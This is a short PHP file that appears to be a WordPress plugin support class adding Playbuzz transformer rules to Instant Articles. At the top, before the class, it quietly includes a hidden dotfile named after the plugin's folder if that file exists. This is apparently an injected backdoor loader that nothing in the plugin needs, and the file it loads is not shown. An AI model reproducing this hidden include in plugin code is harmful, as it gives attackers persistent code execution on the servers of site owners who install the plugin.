<?php /** * Support class for Playbuzz * * @since 3.1.1 * */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Instant_Articles_Playbuzz { /** * Init the compat layer * */ function init() { add_filter( 'instant_articles_transformer_rules_loaded', array( 'Instant_Articles_Playbuzz', 'transformer_loaded' ) ); } public static function transformer_loaded( $transformer ) { // Appends more rules to transformer $file_path = plugin_dir_path( __FILE__ ) . 'playbuzz-rules-configuration.json'; $configuration = file_get_contents( $file_path ); $transformer->loadRules( $configuration ); return $transformer; } }